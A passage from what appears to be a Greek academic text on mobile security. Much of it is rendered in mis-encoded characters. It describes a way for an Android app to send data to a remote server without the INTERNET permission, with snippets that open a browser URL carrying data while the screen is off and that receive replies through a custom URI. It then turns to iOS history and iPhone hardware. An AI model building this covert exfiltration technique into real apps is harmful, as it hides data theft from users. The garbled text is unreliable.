εθθίλεζεο έρεη νινθιεξσζεί. Ο ηξφπνο γηα λα παξαθακθζεί απηφ ην δηθαίσκα είλαη πνιχ απιφο: δελ 

δειψλεηαη ε άδεηα ζην manifest.  Γηα λα ππάξρεη απηφκαηε επαλεθθίλεζε απηφ ζα πξέπεη λα έρεη 

πξνθαζνξηζζεί. 

• INTERNET ρεδφλ θάζε Android εθαξκνγή απαηηεί απηήλ ηελ άδεηα, επεηδή ζπλήζσο απαηηνχλ ηε 

κεηαθνξά δεδνκέλσλ κέζσ ηνπ Internet. Χζηφζν, είλαη δπλαηφλ, γηα παξάδεηγκα, λα ζηείιεη ηα 

δεδνκέλα ζε έλαλ απνκαθξπζκέλν server ρσξίο ηελ άδεηά απιά ρξεζηκνπνηψληαο ην πξνεπηιεγκέλν 

πξφγξακκα πεξηήγεζεο : 

 
startActivity(new Intent (Intent.ACTION_VIEW, Uri.parse("http://test.com/data?argl=" + 
strl))); 

 

Χζηφζν, απηφ αλνίγεη ην πξφγξακκα πεξηήγεζεο θαη ν ρξήζηεο παξαηεξεί φηη θάηη πεξίεξγν 

ζπκβαίλεη κε ηε ζπζθεπή. Γηα λα κελ είλαη απηή ε ελέξγεηα νξαηή απφ ηνλ ρξήζηε ζα πξέπεη λα 

εθηειεζηεί φηαλ ε νζφλε είλαη απελεξγνπνηεκέλε. Γηα λα επηηεπρζεί απηφ, ζα πξέπεη λα ειέγρεηαη 

ζπλερψο αλ ε νζφλε είλαη απελεξγνπνηεκέλε, ρξεζηκνπνηψληαο ην API ηνπ Power Manager 

(isScreenOn). Δάλ ε νζφλε ελεξγνπνηεζεί πάιη απφ ηνλ ρξήζηε, εκθαλίδεηαη ε αξρηθή νζφλε (Home 

screen) κε ηελ εθηέιεζε ηνπ αθφινπζνπ θψδηθα: 

 
startActivity(newlntent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME)) 

 

Απηή ε κέζνδνο επηηξέπεη ε εθαξκνγή γηα πξφζβαζε ζην Internet, λα ζηείιεη δεδνκέλα ζε έλαλ 

απνκαθξπζκέλν server ρσξίο άδεηα, αιιά δελ επηηξέπεη ηε ιήςε δεδνκέλσλ απφ ην Γηαδίθηπν . Γηα 

ηελ επίηεπμε απηνχ ηνπ ζηφρνπ, είλαη δπλαηφ λα ρξεζηκνπνηεζεί έλαο δέθηεο custom Uniform 

Resource Identifier (URI), πξνθεηκέλνπ λα εληνπίζεη έλα ζπγθεθξηκέλν πφξν (γηα παξάδεηγκα, 

HTTP://) . Γηα λα νξίζεηε ηε δηθή καο URI, νξίδνπκε ηελ αθφινπζε γξακκή ζην manifest ηεο 

εθαξκνγήο Android: 

 
<activity android: name=".ReceiveData"> 
<intent-?lter> 
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<action android:name="android.intent.action.VIEW"/> 
<category android:name="android.intent.category.DEFAULT"/> 
<category android:name="android.intent.category.BROWSABLE"/> 
data android:scheme="HE7" /> 
<data android:host="server.com"/> 
</intent-?lter> 
/activity> 

 

Μία απφ ηηο θαηεγνξίεο πνπ νξίδνληαη ζηελ πξφζεζε είλαη "BROWSABLE", επεηδή ζα πξέπεη λα 

ρξεζηκνπνηεζεί απφ ην πξφγξακκα πεξηήγεζεο γηα λα ιάβεη ηα δεδνκέλα. Απφ ηελ πιεπξά ηνπ server, 

φηαλ ε εθαξκνγή ζηέιλεη ηα αξρηθά δεδνκέλα (φπσο θαίλεηαη κε ηε κέζνδν ηεο απελεξγνπνίεζε ηεο 

νζφλεο) , ν server αλαθαηεπζχλεη ηελ αίηεζε απηή ζην αθφινπζν custom URI : 
HE 7: server.com?param=<type_data_here> 

 

Μφιηο ε αθφινπζε δξαζηεξηφηεηα έρεη δεκηνπξγεζεί θαη ην URI θαιείηαη απφ ηνλ απνκαθξπζκέλν 

server (server.com) , είλαη δπλαηφλ λα πάξεη ηα δεδνκέλα απφ ηε ιεθζείζα πξφζεζε(intent): 

 
public class ReceiveData extends Activity { 
@Override 
protected void onCreate(Bundle savedlnstanceState) { super.onCreate(savedlnstanceState); 
Log.e("HE7 Receiving data", "URI: " + getlntent().toURI()); 
?nish(); 
} 

 

ην ηέινο , ζα πξέπεη λα θαιέζεηε "finish" γηα λα θαιχςνπλ κηα δξαζηεξηφηεηα πνπ έρεη ζρεδηαζηεί 

γηα λα δείμεη ζηνηρεία δηεπαθήο ρξήζηε ηεο ζπζθεπήο. 

 

Ο ηειηθφο ρξήζηεο δελ έρεη δπλαηφηεηεο λα ιάβεη αληίκεηξα γηα λα πξνζηαηεπηεί απφ ηελ εππάζεηα 

πνπ πεξηγξάςακε δεδνκέλνπ φηη νη εθαξκνγέο θαζνξίδνπλ ηα δηθαηψκαηα ηνπο. 

εκαληηθφ γηα ηελ πξνζηαζία είλαη ν έιεγρνο πξηλ ηελ εγθαηάζηαζε εθαξκνγψλ ηεο αμηνπηζηίαο ησλ 

sites άιια θαη ησλ πξνγξακκαηηζηψλ κέζσ ησλ αμηνινγήζεσλ θαη ησλ ζρφιησλ ησλ ρξεζηψλ θαη ηελ 

απνθπγή εγθαηάζηαζεο χπνπησλ εθαξκνγψλ. Antimalware ινγηζκηθφ κπνξεί επίζεο λα βνεζήζεη. 

 

 

4.iOS 

4.1 Περιγραφή και ιςτορία του iOS 
 
Σα iPhone, iPod Touch, iPad θαη iPad mini είλαη απφ ηηο πην ελδηαθέξνπζεο θαη ρξήζηκεο λέεο 

ζπζθεπέο πνπ κπήθαλ ζηελ αγνξά ηα ηειεπηαία ρξφληα. Ο ζρεδηαζκφο θαη ε ιεηηνπξγηθφηεηα ησλ 

ζπζθεπψλ απηψλ ηηο θάλνπλ εμαηξεηηθά επηζπκεηέο γηα πνιινχο ρξήζηεο θνξεηψλ ζπζθεπψλ. Γηα 

αθξηβψο απηνχο ηνπο ιφγνπο, ε πηνζέηεζε ηνπ iPhone θαη ζπλαθψλ ζπζθεπψλ θαηά ηε δηάξθεηα ησλ 

ηειεπηαίσλ εηψλ έρεη απμεζεί, κε πεξηζζφηεξα απφ 500 

εθαηνκκχξηα κνλάδεο λα έρνπλ πσιεζεί σο ηηο αξρέο ηνπ 2014. 

ήκεξα νη πσιήζεηο μεπεξλνχλ ηηο 51 εθαηνκκχξηα κνλάδεο ην 

ηξίκελν. ηνηρεία πσιήζεσλ ζην ζρήκα πνπ αθνινπζεί:  

Απφ ηερληθή άπνςε, ην iPhone έρεη γίλεη επίζεο αληηθείκελν 

ελδηαθέξνληνο γηα ηνπο κεραληθνχο θαη ηνπο ράθεξ. Πνιχο 

ρξφλνο θαη πξνζπάζεηα έρνπλ αλαισζεί γηα ηε γλψζε ησλ 

εζσηεξηθψλ ραξαθηεξηζηηθψλ ηνπ iPhone, φπσο ηη είδνπο πιηθά 

ρξεζηκνπνηεί, ηε δνκή ηνπ ιεηηνπξγηθνχ ηνπ ζπζηήκαηνο, ηα 

κέηξα αζθαιείαο θαη πξνζηαζίαο πνπ έρνπλ ηεζεί ζε εθαξκνγή, 

θαη άιια. Σν δηθφ καο ελδηαθέξνλ εζηηάδεηαη θπξίσο ζηα ζέκαηα 

αζθαιείαο. Σν ιεηηνπξγηθφ ζχζηεκα πνπ ρξεζηκνπνηείηαη απφ ην 

Εηθόλα 35 Πσιήζεηο ηνπ Iphone 

Παγθνζκίσο 
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iPhone, ην iOS, ήηαλ αξρηθά κηα αξθεηά αλαζθαιήο πιαηθφξκα πνπ εμειίρηεθε ζε έλα απφ ηα πην 

αζθαιή θαη πνηνηηθά ιεηηνπξγηθά ζπζηήκαηα ηεο αγνξάο. 

 

 

Σν iPhone είλαη έλα θιεηζηφ ζχζηεκα θαη γηα ην ιφγν απηφ έρεη γίλεη 

ζεκαληηθή έξεπλα ζηνλ ηνκέα ηεο αζθάιεηαο ηεο πιαηθφξκαο. Σν iPhone, απφ 

πξνεπηινγή, δελ επηηξέπεη ζε ηξίηνπο λα ηξνπνπνηήζνπλ ην ιεηηνπξγηθφ 

ζχζηεκα κε νπνηνλδήπνηε ηξφπν. Απηφ ζεκαίλεη, γηα παξάδεηγκα, φηη νη 

ρξήζηεο δελ κπνξνχλ λα έρνπλ πξφζβαζε ζηηο 

ζπζθεπέο ηνπο απφ απφζηαζε, νχηε λα εγθαηαζηήζνπλ 

νπνηνδήπνηε ινγηζκηθφ δελ είλαη δηαζέζηκν απφ ην App 

Store ηεο Apple, φπσο ζπκβαίλεη ζε άιια ιεηηνπξγηθά 

ζπζηήκαηα. Τπάξρνπλ βέβαηα πνιινί πνπ ζέινπλ ηελ 

πξφζβαζε θαη ηνλ έιεγρν ηνπ ιεηηνπξγηθνχ ηνπο θαη 

έηζη ζρεκαηίζηεθε κηα θνηλφηεηα πξνγξακκαηηζηψλ 

πνπ πξνρψξεζε ζε νπζηαζηηθή έξεπλα ηεο εζσηεξηθήο 

ιεηηνπξγίαο ηεο πιαηθφξκαο. Πνιιά απφ φζα 

γλσξίδνπκε γηα ηελ αζθάιεηα ηνπ iPhone νθείινληαη 

ζηελ πξνζπάζεηα ηεο θνηλφηεηαο λα παξαθάκςεη ηνπο 

πεξηνξηζκνχο πνπ έρνπλ ηεζεί ζε εθαξκνγή απφ ηελ 

Apple θαη λα επηηξέςεη ζηνπο ρξήζηεο λα απνθηήζνπλ 

πιήξε πξφζβαζε ζηηο ζπζθεπέο ηνπο. 

Σν iPhone είλαη κηα ζπζθεπή πνπ θάπνηνο έρεη ζπλερψο καδί ηνπ θαη πεξηέρεη 

πνιιέο επαίζζεηεο πιεξνθνξίεο. Γηα ην ιφγν απηφ, ηα δεηήκαηα αζθαιείαο 

είλαη δηαθνξεηηθά απ’ φηη ζε έλαλ επηηξαπέδην ππνινγηζηή ή αθφκα θαη ζε έλα 

laptop. Οη ζρεηηθά θαιέο επηδφζεηο ηνπ iPhone ζε ζρέζε κε ηα πεξηζηαηηθά 

αζθάιεηαο έρεη νδεγήζεη πνιινχο λα πηζηεχνπλ φηη ην iPhone είλαη άηξσην. Ζ αληίιεςε απηή νδεγεί, 

ζε νξηζκέλεο πεξηπηψζεηο, ηνπο ρξήζηεο ζε ραιαξφηεξε επίβιεςε ηεο ζπζθεπήο ηνπο. Δάλ ε ζπζθεπή 

ηνπο είλαη εμαηξεηηθά αζθαιήο, ηφηε πνην είλαη ην λφεκα λα είλαη πξνζεθηηθνί; Φπζηθά, κία ηέηνηα 

αληίιεςε είλαη ιαλζαζκέλε, δηφηη ην iPhone πεξηέρεη κία πιεζψξα πξνζσπηθψλ δεδνκέλσλ, 

δηαθνξεηηθά γηα θάζε ρξήζηε. πλεπψο, πξέπεη λα είλαη πάληνηε ππφ ηελ επίβιεςε ηνπ ρξήζηε.  

Θα εμεηάζνπκε ζέκαηα αζθαιείαο γηα ην iphone ιακβάλνληαο ππφςηλ δηάθνξεο νπηηθέο γσλίεο. 

Αξρηθά, ζα εμεηάζνπκε ηελ ηζηνξία ηεο πιαηθφξκαο iOS απφ ηα κέζα ηνπ 80 σο ηηο κέξεο καο. Θα 

ειέγμνπκε ηελ εμέιημε ηεο απφ άπνςε αζθαιείαο κέρξη ζήκεξα. ηνλ ηερληθφ ηνκέα ζα θνηηάμνπκε ηα 

θελά απηά αζθαιείαο πνπ επηηξέπνπλ ην ιεγφκελν jailbreak (αληίζηνηρν ηνπ rooting ησλ ζπζθεπψλ 

Android ). 
 

Γνωριμία με το iPhone. 
Σν iOS έρεη κηα καθξά θαη ελδηαθέξνπζα ηζηνξία, πνπ καο βνεζά λα θαηαιάβνπκε πεξηζζφηεξα γηα 

απηφ.  

Εηθόλα 37 Iphone 1 

Εηθόλα 36 Iphone 2 
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Εηθόλα 38 iPhone 3GS                            Εηθόλα 39 iPhone 4                                           Εηθόλα 40 iPhone 5 

 

 

ηα κέζα ηεο δεθαεηίαο ηνπ 1980, o Steve Jobs, πνπ είρε πξφζθαηα θχγεη απφ ηελ Apple, ίδξπζε ηελ 

NeXT, Inc. Ζ NeXT αλέπηπμε κηα ζεηξά απφ επαγγεικαηηθά workstations πνπ πξννξίδνληαλ γηα 

ρξήζε ζε κε θαηαλαισηηθέο αγνξέο. Ζ NeXT επέιεμε λα παξάγεη δηθφ ηεο ιεηηνπξγηθφ ζχζηεκα, ην 

νπνίν αξρηθά νλνκάζηεθε NextStep. Σν NextStep αλαπηχρζεθε κε ζπλδπαζκφ ινγηζκηθνχ αλνηθηνχ 

θψδηθα θαη θιεηζηά αλεπηπγκέλνπ θψδηθα. Σν βαζηθφ ιεηηνπξγηθφ ζχζηεκα πξνήιζε θπξίσο απφ ηνλ 

ππξήλα Mach ηνπ Παλεπηζηεκίνπ Carnegie Mellon, ζε ζπλδπαζκφ κε ιεηηνπξγηθφηεηεο απφ ην BSD 

Unix. Μηα ελδηαθέξνπζα απφθαζε ειήθζε ζρεηηθά κε ηελ επηινγή ηεο γιψζζαο πξνγξακκαηηζκνχ 

γηα ηελ αλάπηπμε εθαξκνγψλ γηα ηελ πιαηθφξκα. Ζ NeXT επέιεμε λα πηνζεηήζεη ηε γιψζζα 

πξνγξακκαηηζκνχ Objective-C θαη παξείρε ηηο πεξηζζφηεξεο δηεπαθέο πξνγξακκαηηζκνχ ηεο γηα ηελ 

πιαηθφξκα ζε απηή ηε γιψζζα. Δθείλε ηελ επνρή ε γιψζζα C ήηαλ ε θπξίαξρε γιψζζα 

πξνγξακκαηηζκνχ γηα ηελ αλάπηπμε εθαξκνγψλ ζε άιιεο πιαηθφξκεο. Έηζη, ε αλάπηπμε εθαξκνγψλ 

γηα NextStep ζπλήζσο γίλνληαλ κε πξνγξακκαηηζκφ Objective-C, αμηνπνηψληαο εθηεηακέλεο 

βηβιηνζήθεο πνπ παξέρνληαλ απφ ηε NeXT . 

Σν 1996, ε Apple αγφξαζε ηε NeXT θαη καδί κε απηήλ ην ιεηηνπξγηθφ ζχζηεκα NextStep (πνπ 

κεηνλνκάζηεθε ζε OPENSTEP). ηε ζπλέρεηα, ην NextStep επηιέρζεθε σο βάζε γηα έλα ιεηηνπξγηθφ 

ζχζηεκα λέαο γεληάο γηα λα αληηθαηαζηήζεη ην γεξαζκέλν πηα, "θιαζηθφ" Mac OS. ε κηα 

δνθηκαζηηθή έθδνζε ηεο λέαο πιαηθφξκαο, κε ηελ θσδηθή νλνκαζία Rhapsody, ην interface 

ηξνπνπνηήζεθε γηα λα πηνζεηεζεί ην ζηπι ηνπ Mac OS 9. Απηφ ην ζηπι ηειηθά αληηθαηαζηάζεθε κε ην 

UI γηα Mac OS X (κε ηελ θσδηθή νλνκαζία Aqua). Μαδί κε ηηο αιιαγέο ηνπ UI, νη εξγαζίεο γηα ην 

ιεηηνπξγηθφ ζχζηεκα θαη ησλ ζπλνδεπηηθψλ εθαξκνγψλ ζπλερίζηεθαλ, θαη ζηηο 24 Μάξηηνπ 2001, ε 

Apple θπθινθφξεζε δεκφζηα ην Mac OS X, ην ιεηηνπξγηθφ ηνπο ζχζηεκα επφκελεο γεληάο. 

Έμη ρξφληα αξγφηεξα, ην 2007, ε Apple κπαίλεη δπλακηθά ζηελ αγνξά θηλεηήο ηειεθσλίαο κε ηελ 

εηζαγσγή ηνπ iPhone. Σν iPhone, έλα ζπλαξπαζηηθφ smartphone, ην νπνίν εηζήγαγε πνιιά λέα 

ραξαθηεξηζηηθά, ζπκπεξηιακβαλνκέλεο ηεο θνξπθαίαο ζρεδίαζεο ηνπ ηειεθψλνπ, θαζψο θαη έλα λέν 

θηλεηφ ιεηηνπξγηθφ ζχζηεκα πνπ έγηλε αξρηθά γλσζηφ σο iPhone OS. Σν iPhone OS, πνπ αξγφηεξα 

κεηνλνκάζηεθε ζε iOS (ιφγσ ηεο νκνηφηεηάο ηνπ κε Internetwork Operating System ηεο Cisco, ή 

IOS), πξνέξρεηαη απφ ηελ νηθνγέλεηα NextStep/Mac OS X θαη είλαη ιίγν πνιχ κηα κηθξφηεξε έθδνζε 

ηνπ Mac OS X. Ο ππξήλαο παξακέλεη Mach/BSD-based κε έλα παξφκνην κνληέιν πξνγξακκαηηζκνχ, 

ελψ ην κνληέιν πξνγξακκαηηζκνχ εθαξκνγψλ, πνπ παξακέλεη Objective-C, βαζίδεηαη ζηελ ηζρπξή 

ζχλδεζε κε ηηο βηβιηνζήθεο πνπ παξέρνληαη απφ ηελ Apple. 

Μεηά ηελ θπθινθνξία ηνπ iPhone, πνιιέο ζπζθεπέο κε ιεηηνπξγηθφ iOS θπθινθφξεζαλ απφ ηελ 

Apple, ζπκπεξηιακβαλνκέλνπ ηνπ iPod Touch 1G (2007), Apple TV (2007), ην iPad (2010) θαη ην 
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iPad mini (2012). Σν iPod Touch θαη ην iPad έρνπλ πνιιά θνηλά κε ην iPhone ζηελ θαηαζθεπή ηνπο 

(hardware θαη software). Σν Apple TV δηαθέξεη ιίγν απφ ηα ππφινηπα πξντφληα, δεδνκέλνπ φηη είλαη 

πεξηζζφηεξν κηα ζπζθεπή πνπ πξννξίδεηαη γηα ρξήζε ζην ζπίηη θαη φρη κηα θηλεηή ζπζθεπή. Χζηφζν, 

ην Apple TV εμαθνινπζεί λα ηξέρεη iOS θαη ιεηηνπξγεί κε ηελ ίδηα πεξίπνπ ινγηθή. (νη πην ζεκαληηθέο 

δηαθνξέο εληνπίδνληαη ζην user interface θαζψο θαη ζηελ έιιεηςε επίζεκεο δηαδηθαζίαο γηα ηελ 

εγθαηάζηαζε θαη ηελ εθηέιεζε ησλ εθαξκνγψλ). 

 

Σα παξαπάλσ ζπλζέηνπλ ην πιαίζην έξεπλαο πξνθεηκέλνπ λα κειεηεζεί απφ πιεπξάο αζθαιείαο ην 

iOS θαη νη ζπζθεπέο πνπ βαζίδνληαη ζε απηφ, κε ζηφρν ηελ απνηξνπή επηζέζεσλ, θαζψο επίζεο θαη 

ηελ επηζήκαλζε πηζαλψλ ηξσηψλ ζεκείσλ. Αλαπφθεπθηα, ε πξνζνρή έρεη ζηξαθεί ζηελ γλψζε θαη 

θαηαλφεζε ηεο αξρηηεθηνληθήο ηνπ ιεηηνπξγηθνχ ζπζηήκαηνο, ζπκπεξηιακβαλνκέλνπ ηνπ ηξφπνπ 

πξνγξακκαηηζκνχ γηα Mac θαη ηελ κειέηε ηνπ κνληέινπ πξνγξακκαηηζκνχ ησλ εθαξκνγψλ, ηδίσο 

φζνλ αθνξά ηελ αλάιπζε, ηνλ ζρεδηαζκφ ή θαη ηελ ηξνπνπνίεζε ησλ πξνγξακκάησλ πνπ έρνπλ 

δεκηνπξγεζεί θπξίσο κε ηε ρξήζε Objective-C θαη ην πιαίζην πνπ παξέρεηαη απφ ηελ Apple. 

Μηα ηειεπηαία ζεκείσζε γηα ηηο iOS ζπζθεπέο ζρεηίδεηαη κε ηελ πιαηθφξκα πιηθνχ πνπ έρεη επηιεγεί 

απφ ηελ Apple. Μέρξη ζήκεξα, φιεο νη ζπζθεπέο κε ιεηηνπξγηθφ iOS ρξεζηκνπνηνχλ επεμεξγαζηή 

ARM θαη φρη x86 ή θάπνην άιιν είδνο επεμεξγαζηή. Ζ αξρηηεθηνληθή ARM εηζάγεη κηα ζεηξά απφ 

δηαθνξέο πνπ πξέπεη λα ιακβάλεηαη ππφςε θαηά ηελ εξγαζία ζηελ πιαηθφξκα. Ζ πην εκθαλήο 

δηαθνξά είλαη φηη, φηαλ θάπνηνο εθηειεί reverse engineering ή αλαπηχζζεη θάπνηα εθαξκνγή, φιεο νη 

εληνιέο, νη registers, νη ηηκέο, θιπ δηαθέξνπλ ζε ζρέζε κε ηα αληίζηνηρα ζε άιιεο πιαηθφξκεο. Δίλαη 

επθνιφηεξν φκσο θάπνηνο λα εξγαζηεί κε επεμεξγαζηή ηεο αξρηηεθηνληθήο ARM. Γηα παξάδεηγκα, 

φιεο νη εληνιέο ARM είλαη ζηαζεξνχ κήθνπο (2 ή 4 bytes). Σν ζπλνιηθφ ζεη εληνιψλ πεξηέρεη 

ιηγφηεξεο εληνιέο απφ φηη άιιεο πιαηθφξκεο. Οη επεμεξγαζηέο ARM πνπ ήηαλ ζε ρξήζε κέρξη ην 

iPhone 4 θαη παξφκνηα πξντφληα ήηαλ 32-bit. Σνλ Οθηψβξην ηνπ 2011 ε εηαηξία Arm Holdings 

αλαθνίλσζε ηνλ 64-bit ARMv8-A (γλσζηφο θαη σο ARMv8 αλ θαη ππάξρνπλ θαη επεμεξγαζηέο φπσο ν 

ARMv8-R νη νπνίνη είλαη 32-bit) παξνπζηάδνληαο κηα ξηδηθή αιιαγή ζηελ αξρηηεθηνληθή ARM. Ζ 

ζεηξά απηψλ ησλ επεμεξγαζηψλ πεξηέρνπλ 64-bit instruction set, είλαη ζπκβαηνί κε αξρηηεθηνληθή 32-

bit θαη ζε εθαξκνγέο, αιιά θαη ζε ιεηηνπξγηθφ, δεκηνπξγψληαο έλα 32-bit πεξηβάιινλ κε 64-bit 

supervisor. Σν iOS 7 παξέρεη ππνζηήξημε πξνγξακκάησλ 64-bit φηαλ εγθαηαζηαζεί ζηα iPhone 5s, 

iPad Air θαη iPad Mini, ηα νπνία ιεηηνπξγνχλ κε ηνλ APPLE A7 (θαηαζθεπήο Samsung), ν νπνίνο 

θπθινθφξεζε ηνλ επηέκβξε ηνπ 2013 (έλαο ARMv8-A 64-bit δηπχξελνο ζηα 1.3-1.4 GHz). 
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Hardware του iPhone 
 

Οθόνη και είςοδοι 
 

Ζ νζφλε αθήο γηα ηηο πξψηεο πέληε γεληέο είλαη 3,5in (9cm) νζφλε πγξψλ θξπζηάιισλ κε 

θξχζηαιιν αλζεθηηθφ ζηηο γξαηζνπληέο, ελψ γηα ην iPhone 5 είλαη 4 ίληζεο. Ζ νζφλε αθήο 

ρσξεηηθφηεηαο είλαη ζρεδηαζκέλε λα αληαπνθξίλεηαη ζε έλα ή πνιιαπιά γπκλά δάρηπια γηα 

multi-touch ιεηηνπξγία. Οη νζφλεο ζηηο πξψηεο ηξεηο γεληέο έρνπλ αλάιπζε 320× 480 

(HVGA) ζε 163ppi, ζην iPhone 4 θαη ην iPhone 4S ε αλάιπζε είλαη  640×960 ζε 326 ppi, θαη 

ζην iPhone 5, 640×1136 ζηα 326 ppi . 

Σα ραξαθηεξηζηηθά αθήο ηνπ iPhone βαζίδνληαη ζηελ ηερλνινγία πνπ αλαπηχρζεθε αξρηθά 

απφ ηελ FingerWorks. Σα ζπλήζε γάληηα θαη γξαθίδεο δελ έρνπλ ηελ αλαγθαία ειεθηξηθή 

αγσγηκφηεηα θαη δελ είλαη ιεηηνπξγηθά, κπνξεί λα ρξεζηκνπνηεζεί φκσο εηδηθή ππθλσηηθή 

γξαθίδα επίζεο έρνπλ θαηαζθεπαζηεί πιένλ θαη γάληηα κε αγψγηκεο απνιήμεηο. Δηδηθή 

επίζηξσζε ηεο νζφλεο (απφ ην 3GS θαη κεηέπεηηα) κεηψλεη ηα απνηππψκαηα.  

 

Ζ hardware δηεπαθή ρξήζηε ηνπ iPhone είλαη ειαρηζηνπνηεκέλε κε πέληε κφλν θνπκπηά .Έλα 

κφλν θνπκπί γηα ην κελνχ ην "Home" βξίζθεηαη αθξηβψο θάησ απφ ηελ νζφλε. Έλα πιήθηξν 

πνιιαπιψλ ιεηηνπξγηψλ χπλνπ/εγξήγνξζεο (sleep/wake) βξίζθεηαη ζην επάλσ κέξνο ηεο 

ζπζθεπήο. Υξεζηκεχεη σο θνπκπί ιεηηνπξγίαο ηεο κνλάδαο, θαζψο επίζεο ειέγρνπ ησλ 

ηειεθσληθψλ θιήζεσλ. ηαλ ιακβάλεηε κηα θιήζε, παηψληαο ην θνπκπί χπλνπ/αθχπληζεο 

κία θνξά γίλεηαη ζίγαζε ηνπ ήρνπ θιήζεο, θαη φηαλ πηέδεηαη δχν θνξέο κεηαθέξεη ηελ θιήζε 

ζηνλ απηφκαην ηειεθσλεηή. 

Ζ ξχζκηζε ηεο έληαζεο ηνπ ήρνπ γίλεηαη κε δχν θνπκπηά ζηα αξηζηεξά ηεο ζπζθεπήο. ην 

iPhone 4 είλαη δχν μερσξηζηά θπθιηθά θνπκπηά ελψ ζε φια ηα πξνεγνχκελα κνληέια νη δχν 

δηαθφπηεο είλαη θάησ απφ έλα εληαίν πιαζηηθφ επίκεθεο θνπκπί. 

 

Αθξηβψο πάλσ απφ ηα ρεηξηζηήξηα έληαζεο ήρνπ είλαη ην θνπκπί θνπδνχλη/ζίγαζε πνπ δίλεη 

ηε δπλαηφηεηα ζίγαζεο ηνπ ζπλφινπ ζρεδφλ ησλ ήρσλ π.ρ. εηζεξρφκελε θιήζε, ιήςε e-mail, 

SMS, θιείδσκα ζπζθεπήο, ιήςε θσηνγξαθίαο. 

ιεο νη ππφινηπεο ιεηηνπξγίεο ηεο δηεπαθήο ρξήζηε γίλνληαη κέζσ ηεο νζφλεο αθήο. 

 

Ζ πξψηε γεληά iPhone ρξεζηκνπνηεί ζηνηρεία ζέζεηο ησλ ζηαζκψλ βάζεο ηνπ δηθηχνπ θηλεηήο 

θαη ηηο ζέζεηο ησλ Wi-Fi δηθηχσλ γηα ηνλ πξνζδηνξηζκφ ηεο ζέζεο, παξά ηελ έιιεηςε πιηθνχ 

ηνπ GPS Απφ ην iPhone 3G θαη κεηέπεηηα, ππάξρεη θαη ρξεζηκνπνηείηαη δέθηεο A-GPS πνπ 

ρξεζηκνπνηεί ηνπο δνξπθφξνπο εληνπηζκνχ ζέζεο ησλ Ζλσκέλσλ Πνιηηεηψλ. Απφ ηε γεληά 

ηνπ iPhone 4S ε ζπζθεπή ππνζηεξίδεη, επίζεο, ην GLONASS αληίζηνηρν παγθφζκην 

ζχζηεκα εληνπηζκνχ ζέζεο, ην νπνίν ιεηηνπξγεί απφ ηε Ρσζία . 

 

Αιςθητήρεσ 
Ζ νζφλε αληαπνθξίλεηαη ζε ηξεηο αηζζεηήξεο (ηέζζεξηο απφ ην iPhone 4 ). Μεηαθίλεζε ηνπ 

iPhone ελεξγνπνηεί δχν άιινπο αηζζεηήξεο (ηξείο απφ ην iPhone 4), νη νπνίνη 

ρξεζηκνπνηνχληαη γηα λα ελεξγνπνηήζνπλ εθαξκνγέο πνπ ζρεηίδνληαη κε ηελ θίλεζε 

(ζπλήζσο παηρληδηψλ) θαζψο θαη ππεξεζίεο πνπ ζρεηίδνληαη κε ηελ ηνπνζεζία.  

 

αιςθητήρασ εγγύτητασ 
Έλαο αηζζεηήξαο εγγχηεηαο απελεξγνπνηεί ηελ νζφλε θαη ηα πιήθηξα αθήο  φηαλ ε ζπζθεπή 

είλαη θνληά ζην θεθάιη θαηά ηε δηάξθεηα κηαο θιήζεο. Απηφ γίλεηαη γηα εμνηθνλφκεζε 
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ελέξγεηαο ηεο κπαηαξίαο θαη λα απνθεπρζεί ε αθνχζηα πίεζε θνπκπηψλ απφ ην πξφζσπν ηνπ 

ρξήζηε θαη ηα απηηά. 

 

Αιςθητήρασ φωτιςμού περιβάλλοντοσ 
Έλαο αηζζεηήξαο θσηφο πεξηβάιινληνο πξνζαξκφδεη ηε θσηεηλφηεηα ηεο νζφλεο κε ζθνπφ 

ηελ εμνηθνλφκεζε ελέξγεηαο ηεο κπαηαξίαο . 

 

Επιταχυνςιόμετρο  
Έλα επηηαρπλζηφκεηξν, 3-αμφλσλ, αληρλεχεη ηνλ πξνζαλαηνιηζκφ ηεο ζπζθεπήο θαη αιιάδεη 

αλάινγα ηελ νζφλε, επηηξέπνληαο ζην ρξήζηε ηελ εχθνιε ελαιιαγή κεηαμχ θαηαθφξπθεο θαη 

νξηδφληηαο πξνβνιήο ρξεζηκνπνηείηαη ζε πνιιέο εθαξκνγέο. Σν επηηαρπλζηφκεηξν κπνξεί 

επίζεο λα ρξεζηκνπνηεζεί θαη απφ εθαξκνγέο ηξίησλ γηα ηνλ έιεγρν, θπξίσο παηρλίδηα . 

 

μαγνητόμετρο  
Έλα καγλεηφκεηξν είλαη ελζσκαησκέλν απφ ηε γεληά iPhone 3GS, ην νπνίν ρξεζηκνπνηείηαη 

γηα ηε κέηξεζε ηεο έληαζεο θαη ηεο θαηεχζπλζεο ηνπ καγλεηηθνχ πεδίνπ ζηελ πεξηνρή ηεο 

ζπζθεπήο. Μεξηθέο θνξέο, άιιεο ζπζθεπέο ή ξαδηνθχκαηα κπνξνχλ λα επεξεάζνπλ ην 

καγλεηφκεηξν απαηηψληαο απφ ηνπο ρξήζηεο είηε λα απνκάθξπλζε απφ ηελ παξεκβνιή ή ηελ 

εθ λένπ βαζκνλφκεζε κεηαθηλψληαο ηε ζπζθεπή ζε ζρήκα 8 θίλεζε. Σν iPhone δηαζέηεη κηα 

εθαξκνγή ππμίδαο (πξσηνπνξηαθφ φηαλ εκθαλίζζεθε κε ην iPhone 3GS), πνπ δείρλεη πξνο 

ηελ θαηεχζπλζε ηνπ γήηλνπ καγλεηηθνχ πεδίνπ. 

 

γυροςκοπικόσ αιςθητήρασ 
Αξρίδνληαο κε ηε γεληά ηνπ iPhone 4, ηα smartphones ηεο Apple πεξηιακβάλνπλ επίζεο έλα 

γπξνζθνπηθφ αηζζεηήξα , εληζρχνληαο ηελ αληίιεςε ηνπ ηξφπνπ κε ηνλ νπνίν θηλείηαη  

 

Ήχοσ και έξοδοι 
 

Σν iPhone έρεη δχν κεγάθσλα θαη δπν κηθξφθσλα. ηε βάζε ηεο ζπζθεπήο ζηηο δπν πιεπξέο 

ηνπ βχζκαηνο θφξηηζεο βξίζθνληαη έλα ερείν θαη ην κηθξφθσλν ηεο νκηιίαο. Τπάξρεη έλα 

επηπιένλ ερείν πάλσ απφ ηελ νζφλε πνπ ιεηηνπξγεί σο αθνπζηηθφ θαηά ηε δηάξθεηα 

ηειεθσληθψλ θιήζεσλ. Σν iPhone 4 πεξηιακβάλεη έλα πξφζζεην κηθξφθσλν ζηελ θνξπθή 

